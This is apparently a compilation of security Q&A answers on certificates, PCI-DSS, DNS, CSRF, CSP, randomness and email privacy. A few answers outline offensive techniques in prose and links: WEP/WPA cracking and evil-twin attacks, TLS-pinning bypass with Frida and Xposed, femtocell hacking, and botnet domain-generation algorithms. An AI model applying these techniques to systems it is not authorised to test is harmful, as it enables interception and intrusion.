Go to "Tools (or Menu button) -> Options -> Advanced -> Certificates" and uncheck Query OCSP responder servers to confirm the current validity of certificates.

(source: http://kb.mozillazine.org/OCSP_error_when_accessing_secure_sites)


Can a rogue wifi network install a CA certificate?

No, it's not possible to install a certificate through simply connecting to a Wi-Fi network. Now, it's possible to make a browser download a certificate through autodownload to somewhere in the Downloads folder, but that's just downloading the cert file and still requires you to manually install this certificate and enter an admin password.

That's about as far as it goes. Of course, sneakier ways exist, like getting you to download an executable that poses as a legitimate program but installs the cert, however that is going way out of the scope of the original question and just requires common sense to thwart.


Would user workstations be considered part of the PCI-DSS CDE when collecting cardholder data using a secure portal

The entire workstation and indeed the entire call centre and possibly the entire network could be in scope for PCI DSS.

No need for a keylogger, a piece of paper and a pencil is enough to make the operator a risk. Then there's the telephony to the operator, the patches required to maintain the general security of the workstation.

There are commercial solutions out there that mitigate the risk and reduce the effort of compliance by either proxying all calls or otherwise routing them through a secure telephony centre.


Can I store government ID numbers according to the PCI DSS?

PCIDSS publishes how you store payment card data. A government Id is not covered.

However it probably is personally identifiable information and should still be handled with care.

The full set of requirements is buried in a pdf

https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss

But basically you have to encrypt the card number, and you cannot retain the CVV2 / PIN or any of the data you might read from a card (but that you can't see by looking at it)

Everything else is allowed to be stored unencrypted.


OpenID Connect with a chain of Relying Parties

This is why we use the passport-js component in Gluu--for inbound identity.  You can find docs here.
user -> RP#1
user <- redirect to chosen OP (Gluu Server oxAuth component)
So I'm assuming here that the RP has published several "buttons", like "Login with Google", "Login with SAML IDP ABC", "Login with Github"... and that the user selects the OP of his choice. If this is the case, the RP#1 is performing "Discovery". That's good...
The trick here is that you are going to redirect to only one OP--your Gluu Server (really the oxAuth component of Gluu), using an  OpenID Connect Authn Request, specifying the right parameters, especially

"acr_values=passport_social&preselectedExternalProvider="

The idea is that you are giving a hint to the Gluu Server as to which OP you want the user redirected to for authn.
There's a little more to it, so read the docs. But hopefully you get the idea
user -> OP: verifies identity [at his chosen IDP]
user <-redirects to RP#2- OP
user -> RP#2
user <-Signs this attestation and redirects to next RP in the chain- RP#2
It's a tad unclear here. Post authn, the Gluu Server (oxAuth) returns a signed JWT per OpenID Connect--i.e. an id_token, with details of the authn event. In the passport-social authentication script, you the opportuuntiy to redirect to another RP if you like after the social authn happens. You could also implement extra steps in the consent phase, or the post-authn phase of the authentication workflow.
user -> RP#1: Has an authenticated user by an OP, that is asserted by some other RP
voila!
Note, you should also check out the Janssen project, although this is just OpenID Connect, and does not include passport-js of course. The Gluu Server is an integration of several open source components. In this case, you see why that's handy. In Gluu 4.x oxAuth is the OpenID Provider. In Gluu 5.x (coming soon), we'll migrate to Janssen (which is basically the same thing, but the project is now governed at the Linux Foundation).


Content sniffing XSS vulnerable browsers

If you don't send a content-type header most browsers will do content sniffing. If you do send a content-type header as far as I know all versions of internet explorer will do sniffing unless x-content-type-options: nosniff is set. IE should accept this header starting with IE8 (blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx).

Just an idea: you might try to detect if the browser is vulnerable to content-type sniffing by serving an HTML page with an redirect as content-type: text/plain. If you the browser gets redirected it is vulnerable (you might also check the effectiveness of the nosniff option this way). If you just include this test-page into a small and maybe invisible iframe you can do the check without affecting the rest of the website.


Does your ISP know your router's name

By Name I'm assuming you either mean the name of the WiFi SSID (wireless network name) or the hostname assigned to the router on your LAN.

In either case there is no need for the ISP to know this. There is no reason for either of them to be broadcast to the WAN side of the router.

However many ISP provided routers do gather large amounts of information about your settings. These are usually for diagnostic and usage monitoring purposes. I would imagine that for some ISPs everything the router can "see" can be read remotely - including both of these names. The ISPs argument for why would be for phone support - i.e. you've changed the router name to something different from what is printed on the back of the router and now you're phoning them asking why you can't find your network on your phone.

If you would rather they could not do this use your own custom router / access point.


How dangerous is it that there are DNS entries for our domain that we did not register?

This is very dangerous. If someone has control over your DNS they can, for example, steal all your email or your web traffic.

First, do you operate your own DNS servers, or are they hosted (e.g. at a hosting provider or at your registrar)?

Hosted:

Check the control panel for these extra entries. They may be prepopulated to point to the host's servers.
If your hosting provider supports it, export your zone file and look for these entries. (For the odd case where they don't show up in the control panel, but are still in the zone.)
After you follow the steps below to ensure that the entries are coming from your host's DNS server, call your hosting provider and ask about these entries.
After you figure out where/why the entries are there, you can decide to leave them, remove them, and/or switch hosting providers.

Self-operated:

Manually inspect your zone file to see if the entries are there.

Do a reverse lookup on the IPs that those bogus entries are resolving to:

host 10.1.2.3
Does the name you get back make sense -- e.g. is it your hosting provider or some other related party?
If the lookup doesn't give you a name, look up the owner of the netblock to see if that gives you any clues:
whois 10.1.2.3

Check if the entries are coming from your DNS server by looking up one of the bogus entries:

dig ww.mycompany.dom @ns1.mycompany.dom

Check if the entries are coming from your secondary DNS (and/or tertiary, etc):

dig ww.mycompany.dom @ns2.mycompany.dom

If the entries aren't in one of your DNS servers, try to figure out where they are coming from. This command will give you a trace of the lookup starting at the root servers and going down to your domain:

dig +trace ww.mycompany.dom

If the trace doesn't show the entry, then it's possible you are using a DNS service (e.g. opendns) that "steals" bogus hostnames to redirect them to their servers. (Certain DNS servers will always return an IP for any lookup, even if there is no host registered to that address; the IP returned points to their server. For example, if I do dig bogusboguszzzzx.net @208.67.222.222 I get back 67.215.65.132, which reverses to hit-nxdomain.opendns.com.)

Don't use this kind of service for testing! (I think it's a bad idea in general because it breaks DNS, but YMMV...)


Interaction between cash register and card terminal

Your identity is somehow linked to your card and automatically
  registered the next time you pay, no extra actions required.

Your name is on the card, electronically.  When they swipe your card the computer reads your name off the mag strip and they know that you're John Doe:

Credit/Debit cards follow the ISO/IEC 7813 standard for the data on the mag stripe, and the NM field is 2-26 characters of Name.

You can see the same type of thing when you go to the airport.  The airline check-in kiosks ask for identification, and inserting a credit card is one method.  It does not have to be the card that you used to purchase the tickets; they're just grabbing your name off the card.


Security goals vs ITU-T security services

All models are, by definition, simplistic in some way; they are models. That's their job.

At some point, someone coined the triad "confidentiality, integrity, authenticity" (I don't know who, but it is old). This is a mental framework: every information security concept can be forced into one of these three categories, sometimes with the help of the psychological equivalent of a sledgehammer. Later on, other people suggested to augment the model in various ways, e.g. the Parkerian hexad which extends the list to six categories.

It is relatively obvious that the less categories you have, the more approximate they will become. However, piling up extra categories does not guarantee that it will make the model more adequate. You should read these lists of categories as checklists: helpers to see whether you did not forget one facet of the problem at hand. But don't take them as Gospel. We already see too many people who try to one-up each other by their use of one more byzantine category.

In practical terms:

Confidentiality is about keeping information private.
Integrity is about keeping information unaltered. This is defined only with regards to a reference state ("this file is identical to what it was at time T on machine X").
Authenticity is "owned integrity": this is about integrity of some data where the reference state is "whatever some specific guy thought that it was". This morphs into authentication protocol, where the verifier makes sure that what it receives really comes from a specific prover (which, indirectly, may imply that the said prover was involved in the operation).
Availability is again a sub-category of integrity, where the "alteration" boils down to "the data is simply not there". Thinking about it as a specific category can be helpful in that malicious alterations (the bad guy flips some bits in a file) and wholesale unavailability (DoS attack, flood...) are so different in their modalities that keeping them under a single category is not a fruitful modelling.
Non-repudiation is an extension of authenticity, in that it adds an extra feature: third parties can be convinced. "Normal" authenticity is between a prover and a verifier; the verifier becomes convinced that the data at hand really comes from the prover. With non-repudiation, the verifier also obtains a proof that he may show to a third entity who would become equally convinced. This is the basis for digital signatures.
Access control is a bridge between confidentiality, integrity and authenticity. It begins with authentication, and then works out what data the authenticated individual may "access", where access is a combination of reading (that's confidentiality) and writing (that's integrity).

There are other classifications which can be useful in some contexts. For instance, in Identity Management, we would talk of identification, authentication and authorization:

Identification: "There is a user called Bob, born on xxxx-xx-xx, with employee number nnnnnn".
Authentication: "A user sent password 'B0bst4ongP4sswo0rd!' which matches the hashed password stored for Bob, so chances are that we are right now talking to Bob".
Authorization: "Bob can read columns X and Y in table Z of the database".

With these categories, "access control" becomes a sub-case of "authorization".


Am I generating email link tokens correctly?

If you are storing all the relevant information (token, expiration time, user) in the database anyway, the only thing you need to make sure about the token is that it is impossible to guess a token.

Your token is impossible to guess if at least one of these two holds:

The secret remains secret. It has to have very high entropy, and never be leaked.
The UUID is generated using a secure random source.

Actually, your system is more complex than it needs to be. Since the token is only used to look up the info in the database, and not validate it, you could just use the UUID and nothing else - no hash, no secret, no other data. Only thing you need to make sure is that the UUID is generated with a secure random source.


According to the MDN documentation for the HTML link element, a <link> points to a resource at a different location, and describes the relationship between the current page and that external resource. This is primarily used for the purpose of organizing content in regard to search engines. When that piece of content can be found on multiple websites, the rel="canonical" bit will essentially tell the search engine "This is the original source for this piece of content." Any search engine or other user accessing this information can either use this information or not, depending on what they want to do with it, but it doesn't inherently enable additional functionality like sending requests on the user's behalf. You can read more about canonical link elements on their wikipedia page.


For getting started, i recommend a fresh install of kali linux.

Wifi NIC emulation can be a pain if you intend to install Kali on a VM (One solution would be to emulate your Wireless NIC with a compatible Wifi USB adapter.)

So, dual boot (Kali seems to be now UEFI compatible) or a dedicated computer would be the best.

This linux distribution is embed with a large panel of well documented security related tools, including 30+ wireless programs.

As @SecretSasquatch mentioned in the comments, the AirCrack-ng suite would be a nice fit for getting started. I'm assuming you know how to read a .pcap file. If you dont, please practice with tcpdump or wireshark before doing the following:

The most simple attack would be to crack a wep key with vector(IVs) attacks
More difficult and quite luck dependent : WPA Cracking (I like to use both jack the ripper and Aircrack-ng when performing this.)
Bonus stage : EvilTwin attack

Studying and practicing those 3 attacks should cover a wireless security initiation.

EDIT : Maybe a bit more than an initiation actually.

Good luck.


How difficult is it to intercept the POST response body when SSL is used?

It all depends on the application itself and what kind of security measures are implemented. Assuming requests are sent over HTTP(s), then the easiest way is to use a proxy such as Burp. You will need to install a CA certificate on your mobile device. You'll be able to see requests & responses in the proxy software (Burp).

APP <----> proxy <----> server

If the application is using SSL/TLS pinning, then the above solution will not work out of the box. Some function(s) will perform additional checks on the certificate, you will need to tamper such function(s) in order to bypass it. Generally there are two ways:

Patch the application in order to remove the SSL/TLS pinning. This usually requires unpacking, editing, repacking and resigning the app. Quite tiresome if you ask me.
Hook the SSL/TLS pinning logic and disable such logic. Frida is a pretty cool tool for this (multi platform), Substrate on iOS and xposed on Android.

A second solution is to not use a proxy at all! Usually an HTTP client library is being used to perform such requests. You can hook HTTP request functions and print the content directly.

APP <----> server
^-> hooked functions which prints the requests

The second solution can be useful when the app is not using standard HTTP requests. Some apps use binary protocols such a gRPC, it would be easier to hook the myclient_post(jsonData) function and print the parameters + response, than reverse engineer the binary protocol, setup a proxy etc...

Some links which might be useful:

Install burp CA on Android: https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device
Install burp CA on iOS: https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device
Android xposed module that bypasses some standard TLS/SSL pinning logic: https://github.com/Fuzion24/JustTrustMe
Same as above but for iOS using Cydia substrate: https://github.com/nabla-c0d3/ssl-kill-switch2
Frida: https://frida.re/, code snippets: https://codeshare.frida.re/, android ssl bypass: https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/, ios ssl bypass: https://codeshare.frida.re/@dki/ios10-ssl-bypass/
Certificate pinning explained: https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
When you get into advanced scenarios: https://github.com/federicodotta/Brida (a bridge between Frida and Burp)


Do memory-level vulnerabilities in x86 applications also affect ARM?

Sometimes yes, sometimes no. It isn't just a matter of processor architecture: the compiler matters, the compiler version matters, the optimization options matter, the system libraries matter...

If the code (including any potentially-buggy dependency) is written in a memory-safe language (i.e. most programming languages in widespread use other than C and C++), its behavior is largely predictable and platform-independent. But if the code is not written in a memory-safe language, then whether a bug in the source code translates into a runtime bug depends on the exact details of how the code is compiled and executed.

For example, suppose that the code copies a null-terminated string but omits the null terminator. Whether this turns out to be a problem depends on what is immediately after the result in memory. It may happen that in a certain build, the buffer containing the string previously contained all-zero, and therefore there is no vulnerability. But in a different build, or with a different runtime environment, you won't have this luck.

Tools like Address Sanitizer (ASan) and Valgrind instrument the binary to try to make memory problems more likely to manifest, at the expense of performance and memory usage. They use techniques such as reserving space between buffers so that a buffer overflow affects the reserved space rather than some other variable, and keeping copies of the expected content of some memory and checking them to detect if they're modified when they shouldn't be. First run those tools on sample inputs to weed out the most obvious problems. Then run those tools on inputs produced by your fuzzer.

x86 is usually a better platform for fuzzing because there are more tools available and because fuzzing is very demanding in CPU time. But if you have an arm cluster, you can use an arm cluster. When you combine the diversity of inputs from a fuzzer and the memory organization of a memory error detection tool, few memory errors will go undetected no matter what the platform is.


Does ASP.NET Viewstate implicitly prevent CSRF attacks? What does this mean for MVC?

The purpose of ASP.NET ViewState is to persist control state between post-backs (see MDSN explanation), it does not implicitly enable security that would prevent CSRF.

Also note that encrypted ViewState in unpatched older versions of ASP.NET are susceptible to an encryption vulnerability.

To enable this type of protection you could:

Use ViewStateUserKey (See
a high level description of the feature, the MSDN docs for ViewStateUserKey and the OWASP CSRF prevention cheat sheet.
Use a custom method to render a custom managed hidden field (per transaction) in the form and check for it with each client request.
Use a third party library dedicated to CSRF such as AntiCSRF.

ASP.NET MVC3 does have an anti-forgery token that is used with the [ValidateAntiForgeryToken] attribute on the controller action (See http://msdn.microsoft.com/en-us/library/system.web.mvc.validateantiforgerytokenattribute.aspx). In the view’s form tag call the Html.AntiForgeryToken helper (See http://msdn.microsoft.com/en-us/library/dd470175.aspx) with following syntax:

Web Forms:

<%= Html.AntiForgeryToken() %>

Razor:

@Html.AntiForgeryToken()


I see a few reasons why not to do that:

The client browser may (and probably will) cache the received HTML page into some file on the local disk. It is usually not a good idea to have passwords "as is" in files on the disk.
Since you store data on the client side (in the HTML), you must think about what happens when the client does not cooperate, i.e. sends back something other than what your server wrote in the HTML. Depending on your context, this may or may not be an issue, but at least some thinking must be done about that.

The generic, safe way to do this kind of thing is to send back to the client an encrypted blob, which contains the state data you want to store on the client. The blob should use both encryption and a MAC to protect against alterations from malicious clients. Where you actually put that blob is not very important; you can put it in a hidden field in the HTML, or in a cookie -- it won't really matter since, through encryption and MAC, you don't actually trust the client machine for anything.


Nmap TCP scan decreases the progress percentage

The per-host completion fraction is calculated (scan_engine.cc UltraScanInfo::getCompletionFraction()) as:

 ports_finished * ( maxtries - 1 ) + probes_sent
 _______________________________________________
             maxtries * numprobes

The total completion percentage is calculated from this across all the hosts.
In a TCP scan (-sT) the number of probes numprobes is fixed to the number of ports (
scan_engine.cc UltraScanInfo::numProbesPerHost()) and never changes after initialization, so maxtries is the interesting term of the calculation. ports_finished and probes_sent are incrementing counters, the above works out to 1.0 when ports_finished == probes_sent == numprobes. numprobes will be 1000, the default number of TCP probes in the example you gave.

If maxtries increases (due to timeout and retry) the estimated amount of work left to do increases, and hence the fraction of work completed decreases. (--max-retries can control this, though with a -sT for TCP connection by the OS IP stack connect() some of the other timeout/retry parameters that nmap supports are ineffective).

The maxtries count is not naïve, it is the high water mark of retries (+1) for a successfully probed port in the scan so far. If you add -d (debug) you will see the message "Increasing max_successful_tryno for 1.2.3.4 to 1 (packet drop)". This is not the same message as "Increasing send delay ...". You will likely see both messages when there is packet loss during a scan.

What you have seen then is a successful TCP probe for a host, but it required a retry, it occurred late in the scan and managed to bump up the upper bound on the work estimate. It probably revised the completion down more than 1%, and packet loss probably cause timeouts to increase, decreasing the scan rate. Approximately 4 minutes elapsed between the two status lines, so the drop in completion was not simply 0.01%.

Service scan timing is a separate calculation.


Avoiding MITM attacks when using HTTPS over mobile

General SSL-related answer: To do SSL (HTTPS) securely, the really important point is that the client system (smartphone, PC... it does not matter) can make sure that the server public key it is using for the SSL handshake is really the genuine one from the intended server. CA-issued certificates are about that, really. Without a validation of the server public key of some kind, MitM attacks are possible. Otherwise, they are not (unless the client and/or server implementation goofs up, but that's another matter).

With certificates, the MitM attack can work only if the attacker can get a fake certificate, with the genuine server name but the attacker's public key in it, from a CA that the client trusts. Incidents with fake certificates being issued are rare (we hear about one such incident per year). Much more often, a gullible user decides to disregard the scary warning from his browser, and clicks through it. If you pay heed to your browser warnings, you should be fine.

Unfortunately, a lot of SSL connections are not between a Web browser and a server, but between an application and a server, and it is up to the application to not do the stupid click-through-warning (metaphorically). There has been a lot of reports of application who do not check the server certificate properly, or at all. This is app-specific and, as a user, this is hard to check.

About Tinder: none of the above applies to the issues described in the article you link to. Apparently, Tinder runs a dating service, with customer running a specific app on their phone; the app talks to a central server. The central server then computes "possible encounters", i.e. warns customers about the nearby presence of other customers with whom romantic compatibility is heuristically estimated to be above average.

It so happens that the dialog between the app and the server involves the server telling the app a lot about other customers -- actually a lot more than should be needed for the described service, including leaking Facebook IDs and other similar information. The app user interface won't show it, but a custom application could obtain such data from the server and record it.

SSL would have done nothing for or against this privacy issue. Maybe they are using SSL; it does not matter. The problem is that the server leaks too much private information to whoever asks for it. A MitM attack is relevant only when the attacker tries to intercept a data transmission containing data that an authorized client may legitimately obtain, but attackers should not; here, the client should not be able to obtain the information in the first place, and that is the problem the article talks about.


Can I set up a 3g/4g Connection Proxy for Table/Phone App Pen Testing?

Most devices could can have a proxy set on them which would be invisible to the application. Personally I use proxydroid (or similar) on android and IPtables on iPhone. Your devices may need to be rooted (and any apps patched to avoid root detection). You will also come up against certificate pinning like you would over a WiFi connection and will have to patch the application to bypass this. (unless you have the private key for the target's SSL cert - which is unlikely unless you are the sysadmin for the target server)

Over a 3G / 4G connection, you would need to run your proxy server on a machine with a public facing IP address - VPS servers are useful for this.

Alternatively you may be able to get the phone to VPN into a network that you control and pass it fake DNS information using DNSMasquerade or similar - you can set up a server with your proxy operating on ports 80 and 443 and give the IP to that server as the response to any DNS request made by the phone. (some more complicated layer 3 routing may need to be done if the App uses IP addresses directly)

You can't transmit / receive data on the radio bands allocated to 3G / 4G under most jurisdictions due to wireless telegraphy laws. If you want to spoof a 3g / 4g network without violating any laws, you could set up a faraday cage (use a certified commercial solution), set up your own base station using an SDR and openBTS or similar and sniff / proxy the traffic from the role of the mobile network operator (any GSM / UTMS / 4G encryption on the channel will be done using your parameters but you will still have to MitM any higher layer (HTTPS etc.) traffic. This works in most cases, though check with local laws / an experienced lawyer in your jurisdiction first. The hardware to do this can be expensive.

Using a hacked commercially available femtocell may be a simpler way to do this though this probably still violates many laws and most likely your user agreement with the network operator. Proceed with caution. MNOs actively monitor attempts to circumvent protections on their devices and employ third party consultants to try and break their security. Some may use VPN connections back to the MNO, though I have not examined enough to fully confirm or deny this. An past example of this approach is here, though note that you will still need to break the HTTPS encryption / tell your device to send the traffic to a proxy. Hosting your proxy server on a public IP address or using your own VPN is probably a much simpler (and legally safer) approach. https://www.nccgroup.trust/globalassets/newsroom/us/blog/documents/2013/femtocell.pdf


How to disable Firewire in OpenBSD/Linux to prevent attacks through Firewire?

Software method:

Disable the Firewire driver / recompile kernel

Disabling the firewire driver prevents the use of any firewire device, as it disables the firewire hardware controller. In order for the attacks to work several requirements exist: The driver must be loaded so that the controller is initialised (bus-mastering etc), it must be configured to 'open-access' and not per-device, and dma must be enabled (ohci1394 had a disable dma option).

In Ubuntu firewire drivers are kernel modules. There is an easy way to blacklist them: Open /etc/modprobe.d/blacklist-firewire.conf, there you will find there a list of modules to be blacklisted.

blacklist ohci1394
blacklist sbp2
blacklist dv1394
blacklist raw1394
blacklist video1394
#blacklist firewire-ohci
#blacklist firewire-sbp2

Just remove the # in front of everything and save it. Then run sudo update-initramfs -k all -u

Other methods:

Disable the Firewire ports in BIOS
Seal the actual ports, as often done for USB ports in some environments.


What's the use of DKIM/SPF if it only validates the Enveloppe From?

.. and a DMARC-report may be sent to Citibank eventually, but it doesn't at all prevent a scam-mail from being delivered.

citi.com has a DMARC record with an explicit reject policy:

$ dig txt _dmarc.citi.com
...
_dmarc.citi.com. ...  TXT     "v=DMARC1; p=reject; ...."

This means if the receiving mail server implements DMARC it will reject the mail since no aligned SPF or DKIM will be found. If no such checks are done at the recipients side the mail will not be rejected.


Does Mozilla Thunderbird leak any personally identifying data?

Mozilla Thunderbird has several fingerprints within the RFC 822 content.  This includes the User-Agent, Message-ID, and Content-Type headers as well as how it choses to render HTML, and this is not necessarily a complete list.
There isn't much variation between Thunderbird versions, so I'm guessing your OS and actual Thunderbird version are only visible through the User-Agent header.
User-Agent and X-Mailer headers
Here is a sample Thunderbird User-Agent header:
Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.0

To disable that, follow these steps:

Go to Preferences → Advanced
Enter the Config Editor (lower right button, click "I'll be careful, I promise!" if prompted)
Right-click and create a New 〉String called general.useragent.override
Leave the string's value blank (hit OK)

This preference is for renaming the User Agent string, but Thunderbird will recognize a blank string as an instruction to not include the header.  Do not forge another common user agent here; some anti-spam systems will notice the forgery and flag your mail as spam.
X-Mailer is another header used to reveal the sending software and its version.  It is rarely used in conjunction with User-Agent.  Thunderbird, for example, doesn't create an X-Mailer while Windows Live Mail does. Live Mail doesn't create a User-Agent header while Thunderbird does.
Received headers
RFC 821 requires every relay that a message passes through to add a Received header.  These typically reveal the sending host's self-reported name (HELO/EHLO), its IP address, its reverse DNS (rDNS), the receiving host's SMTP software, ID for that message as it sits in the queue, hostname, and local date.  (There's sometimes more information in there too, like authentication notes and original recipients (before alias expansion).)
When an end-user mail client (formally called a "Mail User Agent" or "MUA") connects to its outbound SMTP server, it must participate in this scheme as well.  That means a system name needs to be used in the EHLO.  Different clients have different ways of selecting this.  Thunderbird uses your LAN IP address in brackets, Windows Live Mail includes your system's NetBIOS name (the same name used by Windows File Sharing), and other clients can use other techniques, including rDNS.  Mozilla's choice of using the LAN IP is, in my opinion, the least revealing of the available options.
Others
The Message-ID and Content-Type headers each generate "random" seeming unique strings (the message ID value and the MIME boundary string). These strings have certain patterns that can be used to determine the email client even without a User-Agent or X-Mailer header.
Aspects of other headers or even the HTML code may also reveal that you're using Thunderbird, but such techniques are unlikely to reveal your OS or Thunderbird version and they're unlikely to be as diagnostic than your Message-ID and Content-Type headers, which are in turn less diagnostic than X-Mailer or User-Agent strings.
Thunderbird extensions
There are also a few extensions that will provide more information than you may want to reveal.  Enigmail (a PGP add-on) is one of these.  See this How to Sanitize Thunderbird and Enigmail blog post for instructions. (That post is also where I learned how to suppress the User-Agent header).  For my setup, the Enigmail ad and version were already removed (and the correct omission settings were labeled as default), so this may already be fixed by default in Enigmail.
Do note that when you cryptographically sign something, you are rather explicitly (and verifiably) stating who you are (at least by tying your key to the message) in addition to your email address in the From header.


How do botnets communicate without being caught?

In additional to Jay's Answer about DNS Fluxing, another way to circumvent blacklists of domains is for a botnet operator to use a DGA (Domain generated algorithm).

The botnet will use a shared secret algorithm to generate the next check-in domain. This algorithm is kept secret to prevent law-enforcement or a rival C&C operator from determining the next check-in and taking control of the bot.

When a domain is taken down due to malicious content (or the domain is added to a blacklist), there is a chance that the bot cannot check-in with the server. The use of a DGA increases reliability of the communication between server and bot.

This is the method that was used by Conficker and was a back-up protocol used by Zeus.

More Information on DGAs:
http://resources.infosecinstitute.com/domain-generation-algorithm-dga/

Cracked DGA Algorithm leads to 200k+ domains takendown: http://blog.malwaremustdie.org/2014/02/the-takedown-of-209306-nuclear-pack.html


I can't see any way to exploit this directly at a glance but I can see a few places where the code "smells" a bit.

The conditional

if (mysqli_num_rows($q) > 0)

should be

if ($q && mysqli_num_rows($q) === 1)

Although you don't use a LIKE clause in your query, if you (or someone) did change the code, a % or _ symbol could cause multiple names to match and therefore would pass that step.

This is just defensive coding.  Although you can't see any way for more than one row to be returned, it's safer to restrict the code so that it will fail if somehow more than one row is returned.

Also, if you have a temporary error in the database server or at any time there is a syntax error in your SQL, $q will be NULL.  We should test for that first.

Note that mysqli_num_rows() can return a string if the number of rows is greater than the highest allowable int in PHP but that's not likely to happen with this query.

Credential enumeration in login forms is often not as important as people think.  If you have a signup form, there's no way to prevent credential enumeration.  Nonetheless, there are some improvements that can be made if I assume that you create accounts manually and there is no signup form.

You are using the same error message whether the attacker gets the username wrong or the password wrong and this is generally considered good practice.  However you have two copies of that error message and that makes it easy for a future coder to change one of them without changing the other.  Instead, put the error message in a variable or a constant and reference the error message where the two strings are now.

There's a timing attack with credential enumeration.  If a user does not exist, $user_password will be undefined on the final if() clause where the posted password and the stored password are compared.  This will cause a PHP error and errors in PHP are very slow.  An attacker could utilise this delay to enable credential enumeration.

You are using mysqli but you are not using bound parameters.  There are fewer mistakes that can be made with bound parameters.  For example, mysql_real_escape_string() depends on the character set being used and if you change it after escaping the strings or if you set it in the wrong way ( i.e not using mysqli_set_charset() ) then you may enable SQL injection.

It's not clear from this code which hashing algorithm you are using but bcrypt (also known as CRYPT_BLOWFISH and $2a$) is the best choice in PHP.

If you're on PHP > 5.5, there's a password_hash() function which improves on crypt() but is compatible with it.

It's also not clear how you are handling salt.  The bcrypt option generates salt automatically and stores it as part of the string it returns with the hash so you don't need to worry about it if you are using bcrypt.

Some of the hashing algorithms have a cost parameter.  This cost should increase over time as attacker's capabilities get better and as your ability to compute the hashes gets better.  (Actually, probably just the latter.)

Some other questions about your code:

What happens on failure?  It seems that the only difference between valid username/password and invalid is that the variable $errors is set to a string and is undefined when the password is valid.  Furthermore, the second time overwrites the first string.  If a later bit of code encounters a different error and overwrites that variable again, there will be no record in the state of the program that the user you are trying to authenticate failed the username or password tests.
What about throttling?  You don't want to let attackers have as many attempts as they feel like.  As you can see from any one of dozens of password dumps, the top few passwords tend to be used by large numbers of users.  (One analysis of the RockYou dump showed that the top 5,000 passwords were used by 20% of the users and that the top password was used by 0.9%.)  Throttling can be made more difficult by bot-nets but you should not allow a single IP address to try passwords on lots of different accounts.  A nice way of handling the slow-down is to increase the delay between allowed authentication attempts by 1 second after every failed attempt.  This allows users who have forgotten which one of several passwords they know not to be inconvenienced but causes a brute-force bot an intolerable delay after only a few attempts.

There are likely to be other problem.  There are plenty of pitfalls in authentication.  Why not use a library like PHPass which neatly avoids many of these pitfalls for you?  We've covered it here.


Why is this SQL Injection attempt failing on DVWA?

You can check the source below for the full scenario

Source : https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/index.html


Both arc4random and /dev/urandom have histories of problems.  Some systems have reimplemented arc4random without RC4, but some systems kept RC4.  I prefer arc4random over /dev/urandom, but if your goal is to avoid RC4, and you have a system where arc4random uses RC4 and /dev/urandom avoids RC4, then you would prefer /dev/urandom.

These systems have arc4random without RC4:

OpenBSD 5.5 (May 1, 2014) switched arc4random to ChaCha20.
NetBSD 7 (Oct 8, 2015) switched arc4random to ChaCha20.
libbsd 0.8.0 (Nov 30, 2015) switched arc4random to ChaCha20.  (libbsd provides arc4random for systems like GNU/Linux.)
macOS 10.2 (Sep 20, 2016) seems to have switched arc4random to AES.
Android (unknown version) switched arc4random to ChaCha20.
Illumos (unknown version) added arc4random with ChaCha20.

These use RC4: As of 2017, both DragonFly BSD and FreeBSD kept arc4random with RC4.

These problems can happen with arc4random: Fortunately, none of these problems happen if your system has fixed arc4random.

arc4random might use RC4.
arc4random might use an improved RC4 that discards the first few hundred bytes after keying the stream, but it might not discard enough bytes.
arc4random might fail to detect a fork.  After the fork, both processes would get identical random numbers.
arc4random might fail to get entropy from the kernel, then seed itself using only gettimeofday and getpid, then generate predictable and insecure numbers.  In DragonFly BSD and FreeBSD, the sysctl to get entropy should never fail, so arc4random should never reach the code to use only gettimeofday and getpid.

These problems can happen with /dev/urandom: Unfortunately, some of these problems don't have a fix.

/dev/urandom can use RC4.  It did in OpenBSD before 5.5.  In most other systems, /dev/urandom never used RC4.
/dev/urandom might not exist.  This might happen inside a chroot.  Some setups don't allow device nodes like /dev/urandom inside the chroot.
The program might fail to open /dev/urandom because it has reached the limit on file descriptors.  This might not be a problem if the program doesn't open lots of files, or if it opens /dev/urandom early.
Multi-core machines might slow down, if multiple cores are reading /dev/urandom, but the kernel uses only core to generate the random numbers.  This might not be a problem if you have few cores or don't need too many random bytes.

Because of the last 3 problems (chroot, fd limit, multiple cores), I prefer arc4random over /dev/urandom.

There is a third option: Instead of arc4random or /dev/urandom, you might use a crypto library with a secure random number generator.

GnuTLS uses ChaCha or AES for random numbers.  NSS uses SHA-256 for random.  OpenSSL seems to be switching from SHA-1 to AES for random.  All three libraries (GnuTLS, NSS, OpenSSL) seem to avoid RC4 for random numbers.

LibreSSL might call arc4random and use RC4 in systems like DragonFly BSD.  Therefore, you can't trust LibreSSL to avoid RC4.

Some people have spread doubt about random numbers from userspace.  These people oppose userspace generators (like arc4random, GnuTLS, NSS, OpenSSL, and OpenSSL again) and prefer /dev/urandom for random numbers.  This might have influenced Ruby to prefer /dev/urandom over OpenSSL.  I prefer the userspace libraries because of my above list of problems with /dev/urandom.


You have to get rid of the inline JS in order to be able to set a useful policy. (You can include unsafe-inline in the policy, but at that point you're disabling the main point of using it.) Deploying CSP in any useful way means you're probably going to have to update your app to remove any inline script and style, but this is a 'best practices' measure with other advantages than just CSP.
Yes, if you have a man-in-the-middle attack then you've lost worse already. If that's on your threat model you should be addressing it with SSL.

CSP should not be used as a primary defence against XSS - you still need to be doing HTML-escaping and all the other measures to make your app secure and correct. But it's a good defence-in-depth measure to make exploitation of an accidental lapse in that less likely.


Why most of the web applications use CRSF token as a prevention method instead validating through origin header?

"the user agent MAY use the Origin header field to inform the server of the security context in which the script was executing when it caused the user agent to issue the request"

It is not obligatory for a browser to supply the header. In the absence of a valid Origin header, what assumptions should the application make?

"The Origin request header indicates where a fetch originates from. It doesn't include any path information, but only the server name"

Hence:

Your suggestion would only provide protection against attacks initiated from other vhosts, not from different applications on the same vhost
will cause legitimate requests to fail if the application implements domain sharding
requires the application to know the domain it is being served up by

Further, origin support is patchy.

